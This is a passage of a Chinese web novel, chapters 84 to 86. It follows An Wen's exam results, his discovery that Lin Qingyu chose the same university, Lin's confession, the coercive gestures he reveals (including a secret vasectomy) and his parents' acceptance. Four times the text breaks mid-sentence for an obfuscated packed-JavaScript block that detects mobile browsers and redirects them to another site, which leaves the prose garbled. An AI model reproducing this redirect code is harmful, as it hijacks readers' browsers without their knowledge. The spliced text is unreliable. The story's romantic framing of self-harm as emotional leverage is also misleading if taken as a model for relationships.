兰胜男止不住的看表,“当然紧张了,你不紧张呀?寒窗苦读就看这一遭了。” 安闻笑一笑,“考都考完了,差也差不到哪儿去。” “八点了!”兰胜男突然站起来大喊,椅子上好像粘了钉子,站起来就坐不下去了。 安闻站起来,按着兰胜男的肩膀坐下,“妈妈,现在网页肯定登录不进去。你不要着急,分又不会因为晚查一会儿就长腿跑了。” “而且......”他故作神秘地趴在兰胜男肩膀上,悄声说,“我有预感,学校会给我打电话的。” 安闻在高考完就心里有数了,今年的题不难,掐算一下,690是肯定没问题的,700是自我感觉没问题的。 可兰胜男不信,偏说他盲目自信,紧张兮兮的。 其实安闻心里也紧张,今年题不难,H大的录取线不会低,690只是能进H大,如果要读航空航天制造类的专业,得710分,甚至720分才能稳。 但兰胜男已经那么紧张了,自己如果再紧绷绷的,兰胜男还不知道怎么办才好。 他故作镇静地在餐桌旁吃饭,兰胜男嘴里一直念念有词,安闻觉得实在可笑,基因真是神奇,自己缓解压力的方式也是念念叨叨。 一中的传统,超过700分的考生,会有老师单独打电话报喜的。 但眼看着八点过了五分钟,桌上的电话还是没有响起来。 安闻的椅子也长钉子了,他再也装不下去镇静,站起来跟兰胜男说,“妈妈,这个时间应该能登录上了,我去看看。” 兰胜男拿起手机,又放下,双手扭攥在一起,跟着安闻往卧室走。 这几步走得极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214238|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其悲壮,有一种上刑场的宿命感。 还没走到房门口,餐桌上的电话急促地响起,安闻眼疾手快,三步并两步奔过去,接起来电话。 “查到分数了没有!”范玉红在电话那边笑吟吟的声音,让安闻松了一口气,700是有了。 他难得跟老师撒娇一次,“范老师,你快别卖关子了,我多少分啊?” 范玉红在那边哈哈大笑,“703分!安闻,你这一年的努力没有白费啊,703分!安闻!”范玉红显然是非常兴奋,“你的成绩被屏蔽了!被屏蔽了是什么意思你知道吗?就是你一定进了全省前50名了!” 范玉红激动地语无伦次,几乎忘记了一名语文老师的专业涵养,只是一味的强调,安闻进步非常快,超乎她的意料。 兰胜男已经开始打电话给安闻姥姥报喜了。安闻转头看了一眼兰胜男,正在沙发上边讲电话,边抹眼泪。 他用手拢住电话,压低声音问,“范老师,那咱们学校今年有理科状元吗?” 看来今年一中高考成绩不错,范玉红也没藏着掖着,颇为得意地反问,“哪年理科状元没在咱们学校?” 安闻又问,“那今年状元考了多少分啊。” 范玉红正在兴头上,脱口而出,“716分!”然而,之后安闻就感觉到了她的黯然神伤,“可惜了林清宇那孩子了,好好的怎么突然要出国了。” 在安闻失神时,范玉红挂断了电话。听着电话里的嘟嘟音,安闻回过神来,又重新拨回去。 “范老师,抱歉,刚才我忘记问了,您觉得我的分数,报H大飞行器设计专业有戏吗?” “今年题难,录取线应该比去年低,飞行器设计分数最高,你的成绩有机会,但是不保准,不过飞行器制造应该是稳的。” 安闻向范玉红礼貌道谢,随后挂了电话,又给刘秉航和各任课老师打了一遍电话,感谢他们的教导之恩。 兰胜男报喜的电话也打完了,母女俩坐在沙发上,都有一种不真实的感觉。 高二分班考试时,安闻化学不及格,总分才661分,两年之后的高考,竟然提升了40多分。 两人静坐半晌,兰胜男才开口,“小宇考怎么样啊?我光顾着高兴,都没给白姐打电话问问。” “范老师说市理科状元716分。”安闻答。 “他这个分数是不是能上A大了啊?”兰胜男好奇地问。 “妈妈,这个分数可以在A大横着走了。”安闻给兰胜男解释,又低声补充了一句,“但是他要出国,不在国内念大学了。” “啊?”兰胜男惊奇地提高了嗓门,“这么好的成绩说不要就不要了?白姐也不像是舍得把孩子送出国的人啊。” 安闻站起来,没有说话。不一会儿,换了一身衣服出来,“妈妈,我去练车了。” “你急什么啊!分刚出去就去练车,我还没问完你呢。” “我向科三科四一天过,约了半个月后考试。”安闻坐在换鞋凳上,换了一双黑色网面跑鞋。 他来回走动,好像是鞋不太舒服,半天又低头换了一双白色篮球鞋,然后轻飘飘地提醒兰胜男。 “妈妈,林清宇考这么好,你是不是该去白姨家恭喜一下?” 84.录取 晚上安闻练车回来,看见兰胜男坐在沙发上发呆。 他洗完澡出来,兰胜男还是坐在那里发呆。 “妈妈,你怎么了?”他坐过去挤着兰胜男,用湿湿的头发蹭兰胜男的肩膀。 兰胜男把他脑袋拍开,讲了原因,“我今天去你白姨家,明明看见他家商务车在院子里停着着,保姆阿姨却说,他们一家三口不在家。我给你白姨打电话也没人接,这段时间我是忙,从你高考之后没联系过她,我怎么感觉她跟我疏远了呢。” 安闻抱着她的肩膀劝慰,“妈妈,你不要胡思乱想,林叔那么有钱,好几辆车呢,没准就是开别的车出门玩了呗。” “可是出成绩时,你白姨也没给我打电话,她平时最关心你了呀。” 安闻笑了,“妈妈,你也太双标了吧,出成绩时你不也没顾上给白姨打电话吗?”他摇着兰胜男的肩膀,把脑袋搭在她肩上撒娇,“有时间你不如想想,等我报完志愿,你答应借我钱买车的事儿。” 兰胜男用手指点了点他的太阳穴,打开手机相册,“早就给你选好了,就这几款,你看看你喜欢哪个?驾照一下来,我就带你去提车。” 安闻其实对车没什么兴趣,跟兰胜男要车也是因为兰胜男那辆白色轿车时间太长了,坐在上面换挡的顿挫感,让人以为是在古代坐轿子。 他亲了兰胜男脸颊一口,事出反常必有妖,兰胜男警惕地说道,“车一定给你买,你还要什么?” “我要亲亲我的好妈妈呀。”安闻嘴角高抬,眉飞色舞,“顺便问一下,兰胜男女士,在我报完志愿后有没有假期?咱们带上周叔和小蓉出去玩吧。” 兰胜男无奈地敲了下安闻的脑袋,有条件地满足了他,“行,但是只有一周,我和你周叔的买卖都不能离开人太长时间。” 安闻想了想,提出意见,“咱们去南方吧。” 兰胜男同样想了想,拍板决定,“那就去北京吧。” 安闻思考片刻,妥协了,“行吧,毕竟按照Q市的地理位置,北京确实算南方。” 填报志愿时,兰胜男没有干涉,一切以安闻的意愿为主,安闻当然是毫无顾忌地报考了H大航空航天类的四个专业,按照3分一个梯度排列,最后选了了材料专业保底。 报完志愿,确认无误后,安闻就和兰胜男一家四口出去玩了。 日子稀松平常地过,安闻一步一个脚印地往前走。 林清宇还是没有消息,夜深人静时,安闻甚至在想,他是不是就不会回来了?以后自己漫长的人生里,不会再有林清宇的出现了。 他给自己做了无数次的心理建设,终于接受了现实。林清宇确确实实从自己的生活里消失了。 7月16号,安闻拿到了自己的驾照。同一天,他的录取通知书也到了。 刘秉航打电话通知他去学校取录取通知书,安闻隔了一个月,又回到了一中。 一中校门口,还是一样的热闹,喜报早就贴出来了,今年高考成绩非常出色,比去年更胜一筹。立刻包揽全市前15名,一本达线率92%,二本达线率100%。 文科成绩稍差点,但也比去年强太多。四人进入全市前十名,一本达线率88%,二本达线率还是100%。 再看校门右边,还是所有学生的光荣榜,录取学校是分批次慢慢出的,但学校今年成绩太好了,迫不及待地炫耀,所以现在光荣榜上所有人,都只有成绩,没有学校。 光荣榜前有围观的路人,还有两个校工在贴条子,安闻看了一眼,他们手里拿的贴纸,上面写着录取学校和专业名称,应该是出来一批贴一批。 现在校工师傅是在从第40名从后往前贴,安闻也不着急取通知书,就站在门口看热闹。 他看见了梁米软件开发,卢远热能动力学,徐佑华能源与动力工程,看见了自己的专业H大飞行器设计与工程,再往上,王光武是应用物理学,罗晴是能源科学与工程专业。 这几个人,除了安闻在H省,其余人都在北京。 罗晴前面是林清宇了。林清宇的光荣榜位置,被校工的身体挡住。不过安闻能想到那个画面,不苟言笑的入学照片,右上角有一个代表市理科状元的小皇冠,照片下面跟着醒目的红色大字716分,在下面,是空白,或者一所国外的大学名字。 安闻可以想象到那个画面,可他还是不由自由地向前一步,想要看清林清宇的大学名字。 “H大英才学院本硕博连读” 每一个字安闻都认识,可是连起来,安闻又不认识了。他凑近一步,用手指搓搓红条上的字,看着自己的手指愣了足有三秒。 然后校工都反应不及,只看到了安闻狂奔的背影。他呼哧带喘地一口气爬到顶楼,等不及喘匀了气,就敲门进去,办公室里的老师都用赞许的眼神看着他。 可他顾不上许多,几乎是连滚带爬地奔到范玉红桌前,“老师,林清宇的学校是怎么回事?谁给他报的H大?他不是出国留学吗?怎么去了H大?” 范玉红并不吃惊安闻的面红耳赤与疾言厉色,因为收到报考信息的时候,自己也是这样的反应。 林清宇的分数A大专业几乎任选,范玉红以为林勇平已经给林清宇安排好了出国,就没操心林清宇的志愿。 她当时还气愤,以为是哪个学生嫉妒林清宇,偷了他的密码恶作剧。直到今早范玉红来上班,收到了林清宇的录取通知书,寄件地址是H大招生办。 范玉红给白月洁打了电话,才知道是林清宇自己报的志愿,超英才学院录取线30分录取。 她在一沓邮件里,挑出了两份邮件,给了安闻,“以后你和林清宇就是校友了,到了新学校互相关照。H市离家不远,常回来看看我们。” 安闻拿起邮件,看着快递单,一份收件人写着安闻,另一份收件人写着林清宇,寄件地址都是H大招生办。 “你和林清宇的录取通知书,刚才我给林清宇家长打电话,他母亲说让你一起给捎回去。” 安闻此刻热血当胸,双手却冰凉,止不住地颤抖。他用力地捏着邮件一角,录取通知书都到手了,还不知道林清宇什么意思,那他就是个傻子。 范玉红惊讶地看着他,“你这孩子,激动傻了?” 良久,安闻才找回自己的声音,他嘶哑出声,“谢谢老师,我先走了。” 说完,就一溜烟地下了楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233213|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安闻在滚烫的柏油马路上狂奔,树荫下乘凉的老头,还在旁边伸舌头的打钩,都用看傻子的木光看着他。 烈日当头,这傻子也不怕中暑。 安闻在街上狂奔,跑到胸口涌上铁锈的味道,跑到双腿发软,跑到头晕目眩。他停下来,手上的邮件已被汗浸湿。 两个一模一样的寄件人,晃得安闻眼睛酸胀。我不是傻子,林清宇才是。他倔强地想要生气,想要冲到林清宇面前怒骂,可是他没有理由,也没有立场。他明知道林清宇是为了什么,可是他不能给。 安闻一脚踏进了莫比乌斯环,首尾打转,找不见到出口,只能一遍一遍的循环。 眼前就能看到林清宇家大门,他温吞地往前走,到了门口,又转回来。 进了这扇门,该说什么。该怎么面对对儿子寄予厚望的林氏夫妇。 他紧绷着身体和神经,在林清宇家门口转了两个小时,直到夜幕降临,林家大门从里面打开。 安闻一眼看见白月洁,双腿沉得几乎要跌跪下去。 他强撑笑容,抬起手里的文件,跟白月洁解释,“白姨,我来给林清宇送录取通知书。” 白月洁同样笑得勉强,借着月色,安闻都能看见她布满血色的眼球,看来林清宇的学校让她非常不满意。 “进来吧,小闻。小宇等你很久了。”白月洁声音很轻,带着一股破碎感,她对安闻的到来并不感到吃惊。 安闻看了一眼林清宇的院子,一片漆黑,没有光亮。他跟着白月洁进了屋,一眼看见坐在沙发上看报的林勇平,一脸严肃,听见他进来,眼皮都没有抬一下。 安闻站在门口换了鞋,然后小心翼翼地跟林勇平问好,“林叔好,我来给林清宇送录取通知书。” 白月洁向林勇平的方向瞟了一眼,抬起手给安闻指路,“小宇最近一直在这边住,就是那间,你进去吧。” 听到白月洁说话,林勇平这才开口,“进来吧,小宇等你很久了。” 又是这句话,和白月洁一样的一句话。安闻穿好拖鞋,轻手轻脚地往房间走。 林清宇和小金毛住在独立的院子里,安闻每次借宿或是写作业,都是在那边。主屋这边他也来过很多次,每次都是其乐融融的,这是第一次感觉到这个房子的压抑。 安闻走到房间门口站定,敲门,房间里没有声响,他回头看白月洁,发现白月洁一直没有动,就站在沙发门口看他,然后做了一个开门的手势,意思应该是安闻可以直接进。 安闻按下把手,轻轻地把房门拉开一个缝,房间里只开了床头灯,一丝昏黄泄了出来。 安闻探了脑袋进去,房间里的温度比客厅要低,床上的人正闭着眼睛。 他走进去,捏着门把手把门关上,然后蹑手蹑脚地走到床边。 床上是躺着一个人,安闻悄悄凑近了细看,林清宇睡得并不踏实,他眉心微蹙,时不时还会在睡梦中叹一次气。 才一个多月没见而已,这个人瘦了,脸颊凹陷,眉骨更加分明,脸也比以前苍白,刘海耷拉在额前。 房间里一片静谧,安闻频繁地眨眨眼睛,试图缓解眼皮的酸胀,再张开眼睛,便对上了林清宇的视线。 85.王炸 林清宇面容沉静,一动不动地看着他。 片刻之后,他才从被子里抽出一只手,缓缓摸上了安闻的脸、嘴巴、鼻尖、眼睛、眉骨。安闻看到了他手背上的针眼,他没有动,任林清宇摸着。 终于,林清宇开口,“不是幻觉,真的是你。” 在进来房间之前,安闻想过,把通知书砸在他脸上,然后质问他,为什么对自己这样不负责。 可现在,安闻把录取通知书放在床头,却一句责怪的话都不想说了。 “通知书送到了,你好好休息,我走了。”安闻想逃,他觉得今天的林清宇很不一样,这种感觉让他不安。 林清宇猛地坐起来,还带着抽气的声音。安闻有些慌,忙回头看他。 然后林清宇就势扯了他一下,他跌坐在床,被林清宇紧紧箍住。 林清宇把头埋在安闻的脖颈,用力呼吸,这是他朝思暮想的气息。安闻想要挣扎,被他按住,“别动,我会疼。” 安闻不知道为什么林清宇会这样狼狈,但他确实没在动了,“林清宇,你怎么了?” 林清宇就这样紧紧得抱着他,声音闷闷的,“你答应我不走,我就告诉你。” 安闻闭眼妥协,还是带着条件,“好,我答应你,在你说完之前,我不走。” 林清宇没在意他的条件,慢慢松开他,然后从床头柜里拿出那个白色盒子,安闻知道,那是他偷窥到的林清宇的秘密,他有些抗拒,伸手按住盒盖,盒盖有点脏,上面有凌乱的脏印子,看上去像是脚印。 林清宇拉过他的手,语气温柔,“你刚刚答应我,在我说完之前不走的。” 他像是一个拿了鸡毛令箭的孩子,期盼着挟天子以令诸侯。 安闻无力地松手,无所谓了,盒子里的东西他看过一次,林清宇也讲过一次,那就不怕第三次。 林清宇把床头灯调亮,拿开盒盖,从里面拿出一份文件,递到安闻手里,“这是一份公墓买卖合同,双人墓,山清水秀,位置非常好。” 安闻低头看着合同封面,翻开第一页,合同甲方的位置上赫然写着林清宇及爱人安闻。 他红着眼睛扔掉了手里的合同,压低声音质问,但更像是担忧的喃喃自语,“ 你想干什么?林清宇,你想干什么?” 林清宇没给他消化的时间,他拽着他的手,迫使他坐在床上,递了第二份文件给他,“这是以你个人名义成立的遗传病人养育基金会,现在规模很小,但是也有足够的钱和志愿者,可以在你发病之后照顾你。” 他抬起头看着安闻,认真地重复着从前说过的话,“我说过会照顾你。但也知道你的顾虑,如果未来我不可靠,你还有基金会。” 安闻怔怔地看着手里的文件,心被堵满了石头,噎得他无法出声。 林清宇撕开快递包装,拿出里面的录取通知书,“H大的本硕博连读,你在H大多久,我就会陪你多久。” 安闻终于开口,他神色很淡,眉头微蹙,“林清宇,我是一个没有未来的人,不知道什么时候会发病,不知道什么时候会死,我还对你那么凶,你做这些不值得,太傻了。” “值不值得,要我说了才算。”林清宇倔强地抬头,语气不容置疑。 安闻无力地垂下手,双眸讳莫如深,“林清宇,长痛不如短痛。你用一段很短的时间疗伤,总比被我拖累一辈子得好。林清宇,你有大好前程,不该被我拖累。你要回到人群中去,以后谈恋爱,结婚,生孩子,子孙满堂,长命百岁。” 林清宇也不争辩,疲惫地依靠在床头,认真地听安闻讲话,随后哑然自笑,从盒子里拿起另一份文件,“安闻,你说晚了。” 安闻疑惑不解地低下头,又猛地抬头,顾不上门外的长辈听到,大叫道,“林清宇你疯了!” 他站起来走到台灯下,颤抖的手指点在那张单子上,一字一字,逐字去看。每个字都认识,可每个字又都不认识。 他茫然地转过头,视线里一片模糊,看不清林清宇的样子,只觉眼睛好痛,泪珠一滴一滴地滴落在手术单上。 伸出的手停在半空中,收回来抹了下眼睛,又情不自禁地伸出去,他想要去掀林清宇的被子,却没有胆量去看。安闻的手如此反复几回,无措地原地打转,双目赤红,嘴里念念有词,“林清宇,你最好是骗我的,不然我一辈子都不会原谅你。” 林清宇没有说话,安闻多希望此刻林清宇可以开口,开口说,这是个玩笑,我骗你的。 “林清宇,你为什么不说话?说啊!说你是骗我的,我不生气,你说你是骗我的......”安闻跌坐在地,哭诉着哀求,声音里带着希望,还有绝望,“求求你......告诉我......你是骗我的......对不对......” 林清宇还是没有说话,安闻的心彻底慌了,他疯了一样地刨开被子,去掀林清宇的衣服,脱林清宇的裤子,“你疯了,你疯了,林清宇,你真的疯了。” 林清宇不挣扎,顺从地任由安闻动作。 直到安闻看到了伤口上覆盖着的纱布,停下了动作,他的脑袋一片空白,愣愣地盯着纱布,嘴唇嗫嚅着却发不出声音。 忽而扬起拳头,狠狠地朝林清宇脸上砸了一拳,他咆哮着,表情狰狞,“疯子!你就是个疯子!” 林清宇用舌尖舔舔左边嘴角的血,向他伸出手来。安闻没有回应,后退一步,抱着头坐在地板上,早已泣不成声。 手术记录单躺在地上,无人问津:双侧输精管结扎术,患者林清宇。 林清宇在床上,从背后搂住安闻的肩膀,把头埋进他的颈窝里,“以后不要在说什么让我回到人群中的话了。我回不去了,除了你,没有人会要我,所以,你带我回家好不好?” 这一晚上,林清宇给了安闻一波又一波王炸,炸得安闻晕头转向,他把眼泪抹在衣服上,但擦掉的速度远不及落下的速度。 安闻哽咽道,“林清宇,你快把我也逼疯了。” 林清宇摇摇头,目光空洞,“我不想逼你的,可是你不回头啊。”他的眼睛渐渐湿了,“你对自己狠,对我更狠。我什么办法都想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234529|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了,你就是不回头,我能怎么办?我离不开你,我没有办法。我想把自己满身满心都给你,可是你不要......” “所以你就用这些来威胁我!”安闻一脚将盒子踢翻在地,满地的零碎东西,皆是两人之间的回忆,他无可奈何地闭上眼,没了刚才的气势,“林清宇,你是在威胁我吗?” 林清宇大言不惭地承认,“是,我就是在威胁你。所有我能想到的退路,我都留给了你。所以能为我想到的退路,我都斩断。”他深吸一口气,努力撑起身体,对上安闻的眼睛,“我把自己逼到穷途末路,只能赌,赌你一个心软。” 林清宇心里忐忑,安闻狠,他比安闻更狠,可自己已经黔驴技穷了,万一安闻还是不回头,自己真的没有什么砝码了。 他小心翼翼地看着安闻,眼含希冀地等一个点头。 安闻抬头,看着林清宇消瘦苍白的脸,嘴角的红色格外刺眼。他快不认识了林清宇了,安闻一直以为林清宇是温柔的,今天发生的一切,让他恍然回神,林清宇也是固执倔强的,别人撞了南墙就回头,而他死磕到底非要把南墙撞破。 如果自己早发现这样,早知道他是这样,是不是就不会发生今天的一切,林清宇以伤害自己为代价,换一个不知道何时会发病的累赘。 安闻细细地看着林清宇的每一寸面容,试图从中找出原因,他无数次的怀疑,值得吗?自己真的值得吗?值得林清宇做这些。 可是林清宇每一次都会告诉他,值得的。 自己能带给林清宇什么?除了爱他,好像什么都没有,安闻觉得自己需要单独呆一会儿,一个人静一静,好好想想。 他轻轻拨开林清宇,把地上的东西一件件收拢起来,放进盒子,拖着虚无的脚步往外走。 林清宇颤声问,“我还是赌输了吗?” 安闻停住,抽了一口气说道,“刚才我们约好,等你说完,我就走。我想回家。” 林清宇终于回过神来,安闻要走,安闻还是不要他。他用手撑着床,想要翻身下去,却因为疼痛栽倒在地。 安闻听到巨响,慌忙回头,就见林清宇在地上挣扎。 他跑回来,把林清宇一把扶在自己怀里,急切地问,“你到底怎么了?林清宇。” 林清宇死死地抱住他的腰,哽咽道,“你别走......别离开我......我真的没有办法了......安闻......” 安闻的下巴抵着他的头顶,一下一下地捏着林清宇的后颈,“我没有要走,我只是想......好好想想。” 林清宇抬头,“别再折磨我了,也别折磨自己了。陪我赌一把,好不好?” 安闻用手擦掉了林清宇的眼泪,双手捧着他的脸,认真说道,“给我一些时间,让我好好想一想。” 林清宇还是抱着他不松手,“不要走,就在这里想。” 安闻挑了下眼皮看向门外。 林清宇也看向房门,笑盈盈道,“他们都知道,我爸,我妈,还有小金毛,他们都知道我喜欢你。” 86.退路 安闻已经被今晚的桩桩件件震撼到灵魂都快破碎,没想到林清宇再次给他扔下一颗炸///弹。 怪不得他来的时候,白姨和林叔都是那样的反应,怪不得从进门开始他就感觉这个家里气氛压抑。 安闻呆在原地,脑子又空了,手下的力道重了些,引得林清宇倒抽一口凉气。 “林清宇,你跟家里出柜了?”安闻问。 “嗯。” “什么时候?”安闻又问。 “高考结束那天晚上。我跟他们说,我喜欢你。” “然后呢?” “然后你喜不喜欢我?” “我不是问这个,他们有没有为难你?” 林清宇趴回到安闻怀里,撒娇道,“有啊,我爸打了我一顿,我都疼死了。” 安闻的心被撕开一道口子,一双无形的手在他的胸膛里抓弄,他控制不住自己的心了,那双手毫不留情向外拉扯,大开大合的疼痛呼啸而至。 他浅浅地吐出一口气,“林清宇,我现在还不能答应你。给我些时间,好吗?” 林清宇心里松了一口气,趴在他的肩上瓮声瓮气地耍赖,“时间多得是,你就在我家想。不,就在我房间想,我有很多很多的时间等你。” 敲门声响起,安闻应激地推开林清宇,惶恐地看着门口。 “小宇,小闻,出来吃饭吧。”白月洁在门口叫他们两个。 林清宇缓缓站起来,把安闻拉起来,“走吧,吃饭去。” 安闻跟着林清宇走出去,林清宇看起来真的有点虚弱,他跟在后面,生怕他摔倒,但又不敢抬头,面对林叔和白姨。 都是自己的错,自己把林清宇,把他们唯一的儿子带歪了。 林勇平已经坐在餐桌上了,白月洁站在旁边摆放碗筷,眼睛看上去红红的,湿湿的。 安闻羞愧地不敢动弹,像打翻了蜂蜜罐子,又把蜂蜜蹭地到处都是的孩子,他手足无措,支支吾吾,“叔叔阿姨......” 白月洁招呼他坐下,林勇平看着安闻,又看看林清宇,还是一言不发。 安闻低下头,两只手大力地攥在一起,慢慢向前挪着步子。 林清宇的手攀上他的手臂,凉凉的,顺着他的手臂向下,挤到双手之间,与他十指紧扣,安闻试图甩开,却被攥得更紧。 林勇平终于发话,“小闻,坐下吃饭吧。” 他惴惴不安地坐下,腰背佝偻着,屁股只搭了凳子边,虚虚地坐着。 林清宇给他夹菜,他惶惶地扶碗,轻声道谢,然后在桌下踢了他一脚。 “我想吃虾。”林清宇在他耳边说。 安闻下意识去夹,夹起来又觉不妥,顿在空中的手不知道该去向何方。 林清宇伸出碗,“不是给我的吗?” “你自己没长手吗?”林勇平把汤碗重重放下,碗里的汤溅出来顺着桌子流淌,最后停在了林清宇右手边。 林清宇把左边胳膊搭在椅背上,脸转向林勇平,伸出右手提醒,“手不是被您打断了么,用不了筷子。” 安闻倏地一抖,虾落在了桌上,他目光看向林清宇的右手,食指些微的弯曲。 林勇平看着那只手,沉思片刻。 面前的两人,一人耀武扬威,一人战战兢兢,林勇平的指节扣了两下餐桌,轻咳一声。 安闻挺直腰背,闭了下眼睛,等待着林勇平的裁决。 林勇平手指着安闻,面向林清宇正色道,“选了他,就不能再换了。以后换人,我是不会让别人进门的。” 安闻倏地抬头,林勇平的脸上没有愤怒,也没有笑容。但是他的意思是,他同意林清宇和自己在一起了!安闻好像经历了一场劫后余生,他张了张嘴,没有说出话来。 林清宇从桌下来牵他的手,然后一脸桀骜,扬着下巴对林勇平说,“那当然,除了他,别人我也是不认的。” 安闻感受到林清宇炙热的目光,他感到面红耳赤,在桌下又狠狠踢了一脚林清宇。林清宇吃痛,不情不愿地火上浇油,“虽然他还没有答应我。但我除了他都不认的。” 安闻紧咬牙关,余光里看到白月洁吃惊地看着自己。 他踌躇未决,犹如被钝刀子割肉,正要开口,白月洁说了话,“安闻,我自己生的孩子什么性子,我了解。他这次确实是犯浑了,阿姨代他替你道歉......” 安闻惶恐地站起来,后退两步,撞在椅子上,他赶忙摆手,“不不不,阿姨,你别这么说。” “闹了这么大一出,原来是剃头挑子一头热。”林勇平一拍桌子站起来,“小闻,是不是这混蛋逼你了,你别怕,跟林叔说,我今天就打死这逆子给你出气。” “他不是一头热!”安闻的声音一出来,把自己都吓了一跳,因为怕林叔真动手打人,他说得急,语气没那么恭敬。 他挺起胸膛向前走一步,这一步像他无数次作为旗手升国///旗那样,郑重又严肃。 “叔叔,阿姨。”停顿两秒,复又开口,“我也喜欢林清宇,他不是您说的剃头挑子一头热。我从南风矿爆炸那次,就知道自己喜欢他了,他真的不是一头热。” 桌上霎时无声,连呼吸都静音了。白月洁双眼含泪,林勇平面色严肃,而林清宇一脸惊喜得眼睛冒光。 “叔叔阿姨,我没有答应他,不是因为不喜欢他,反而是因为我喜欢得不得了,他那么好,而我这么糟,我不知道能给他什么样的未来,我不想让他受委屈。” “小闻,你的病不是你的错,我们都很心疼,你不要有负担。你是个懂事的孩子,我和你林叔叔都很喜欢你。”她看向了林勇平,继续说,“小宇那天跪在我们面前,说他喜欢你的时候,我和老林都难以接受,两个男孩子的路太难走了。” “没有安闻,我一个人走更难。”林清宇插话。 林勇平瞪了一眼林清宇,转头看向安闻,“我打了他,他没喊疼,死不认错。我关着他,不让他去找你,他就绝食不吃饭,我送他去医院看伤,他偷偷背着我们搞了结扎。我老了,儿子不听话了,小闻,以后就拜托你好好管着他吧。” 餐厅的灯,装得有些低。林勇平站着时,脸就没入了阴暗里,半晌无言,而后深叹一口气,“我还是那句话,选了他,就不能再换了。好好养伤,别误了开学。” 看着林勇平的背影,安闻百感交集,原来父亲是这样的,心里再不愿意,也会跟子女妥协。 吃过饭,等白月洁收拾好,安闻准备起身告辞。没想到林清宇得了免死金牌,骄纵地要命,非要跟安闻一起走。 白月洁把林清宇隔壁的房间收拾出来,安闻无奈,只好留宿在林清宇家。 卧室门被悄悄拉开,安闻其实并没有睡着,他闭着眼睛梳理今天发生的这些事。 林清宇无赖般上了他的床,安闻睁开眼睛,“你怎么来了?” 安闻的腰被抱紧,跟林清宇面对面紧紧相贴,“睡不着,来看看你。” 清冷的月光映在眼前人的脸上,给他苍白的面容添了一些脆弱,安闻的手轻抚他的脸,“还疼吗?” 林清宇怔怔地摇头。 “伤口还疼吗?林叔叔打得疼吗?” 林清宇摇头,“不疼,这些疼都比不过失去你疼。” 腰上的手箍得更紧,林清宇恨不能把安闻揉碎了,融进他的骨血里,这样他就不会走了。 高考结束后,安闻跳上出租车就跑了。林清宇迫不及待地回家,顾不上桌上丰盛的饭菜,也顾不上父母对高考成绩的关心。 “扑通”一声跪下,劈头盖脸的宣布,“我喜欢安闻。” 那时他满脑子想的都是,完了,高考结束,安闻没有枷锁和顾忌,他真的要从自己的世界消失了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266479|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他无比害怕,必须要做些什么,在他消失之前留住他。 林清宇睁着眼,盯着安闻的脸看了好久。 “安闻。” “嗯。” “安闻。” “嗯。” 林清宇重复的,一遍又一遍的,一声又一声的,一次又一次的,喊他的名字。 由清晰到模糊,由无力到哽咽,安闻清楚地感受到颈肩处慢慢晕染开的湿意。 安闻一遍一遍的,耐心地回应,眼角无声地滑落一滴眼泪,滴进枕头的柔软里。 林清宇这些天应该是都没有好好睡过觉,拥着安闻的身体很快就睡着了。 安闻轻轻起身,坐在床边。用眼睛翻来覆去地描摹林清宇的轮廓,又悄悄伸出手,替他抚平了皱起的眉头。 本来以为自己可以把林清宇推远,把他推回正常人的人群里去,但他低估了林清宇的执念,林清宇撒了一张大网,把他牢牢罩住,他逃不掉,也不想逃了。 林清宇难得睡得这么沉,但天蒙蒙亮时还是醒了,他睁开眼睛,手边很空。 林清宇他一激灵,弹坐起来,看见安闻伏在床边,才松了一口气。 他轻声唤安闻,“安闻,”见安闻微微皱,又贴在耳边哄道,“我现在抱不动你,你上床来睡。” 安闻在床边坐了一夜,想伏在床边等林清宇起床,没成想天亮时却睡着了。 他揉揉眼睛,拍拍自己的脸,“不睡了,我有话跟你说。” 林清宇攥紧了被子,只是看着他,没有说话。 安闻拉过他的手,放在自己手心里揉着。 “林清宇,我想了一夜,想你什么时候喜欢的我?为什么喜欢我?想我能为你做什么,才对得起你这么深重的喜欢?” 